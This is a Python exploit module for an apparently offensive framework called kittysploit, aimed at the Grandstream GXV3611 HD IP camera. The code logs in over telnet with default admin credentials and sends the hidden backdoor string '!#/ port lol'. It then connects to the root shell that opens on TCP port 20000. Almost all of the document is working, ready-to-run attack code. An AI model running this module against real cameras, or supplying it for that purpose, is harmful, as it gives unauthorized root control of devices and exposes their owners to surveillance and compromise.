Grandstream GXV3611 HD - Telnet Backdoor

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Grandstream GXV3611 HD telnet backdoor trigger — opens framework shell session."""

import time

from kittysploit import *
from lib.protocols.telnet import Telnet, open_framework_shell
from lib.exploit.handler import Handler


class Module(Exploit, Handler):
    __info__ = {
        "name": "Grandstream GXV3611 HD - Telnet Backdoor",
        "description": (
            "Triggers the hidden Grandstream GXV3611 HD telnet backdoor (!#/ port lol) "
            "which starts a root shell on TCP/20000, then opens a framework shell session."
        ),
        "author": ["pizza1337", "Joshua Abraham", "KittySploit Team"],
        "platform": Platform.LINUX,
        "payload": {"default": "nopayload"},
        "references": [
            "https://www.exploit-db.com/exploits/40441/",
            "http://boredhackerblog.blogspot.com/2016/05/hacking-ip-camera-grandstream-gxv3611hd.html",
        ],
        "tags": ["grandstream", "camera", "backdoor", "telnet", "iot"],
    }

    port = OptPort(23, "Initial telnet login port", required=True)
    backdoor_port = OptPort(20000, "Backdoor telnet port", required=False)
    username = OptString("admin", "Telnet username", required=False)
    password = OptString("", "Telnet password", required=False)

    def _trigger_backdoor(self, host: str, tel_port: int, timeout: int) -> bool:
        client = Telnet(host, tel_port, timeout=timeout)
        try:
            client.read_until(b"login:", timeout=5)
            client.write(f"{self.username}\n".encode())
            client.read_until(b"Password:", timeout=5)
            client.write(f"{self.password}\n".encode())
            client.read_until(b"> ", timeout=5)
            print_status("Triggering backdoor on port 20000 ...")
            client.write(b"!#/ port lol\r\n")
            client.read_until(b"> ", timeout=5)
            client.write(b"quit\r\n")
            return True
        except Exception as exc:
            print_error(f"Backdoor trigger failed: {exc}")
            return False
        finally:
            client.close()

    def check(self):
        host = str(self.target)
        try:
            client = Telnet(host, int(self.port or 23), timeout=int(self.timeout or 10))
            banner = client.read_until(b"login:", timeout=5).decode(errors="replace")
            client.close()
            if "Grandstream" in banner:
                return {"vulnerable": True, "reason": "Grandstream telnet banner", "confidence": "high"}
        except Exception as exc:
            return {"vulnerable": False, "reason": str(exc), "confidence": "low"}
        return {"vulnerable": False, "reason": "Not a Grandstream device", "confidence": "medium"}

    def run(self):
        result = self.check()
        if isinstance(result, dict) and not result.get("vulnerable"):
            self.not_vulnerable()
            return False

        host = str(self.target)
        tel_port = int(self.port or 23)
        back_port = int(self.backdoor_port or 20000)
        timeout = int(self.timeout or 10)

        if not self._trigger_backdoor(host, tel_port, timeout):
            return False

        time.sleep(1)
        print_success(f"Backdoor open — opening shell session on {host}:{back_port}")
        return open_framework_shell(
            self,
            host,
            back_port,
            timeout=timeout,
            exploit="camera_gxv3611hd_backdoor",
            username="root",
        )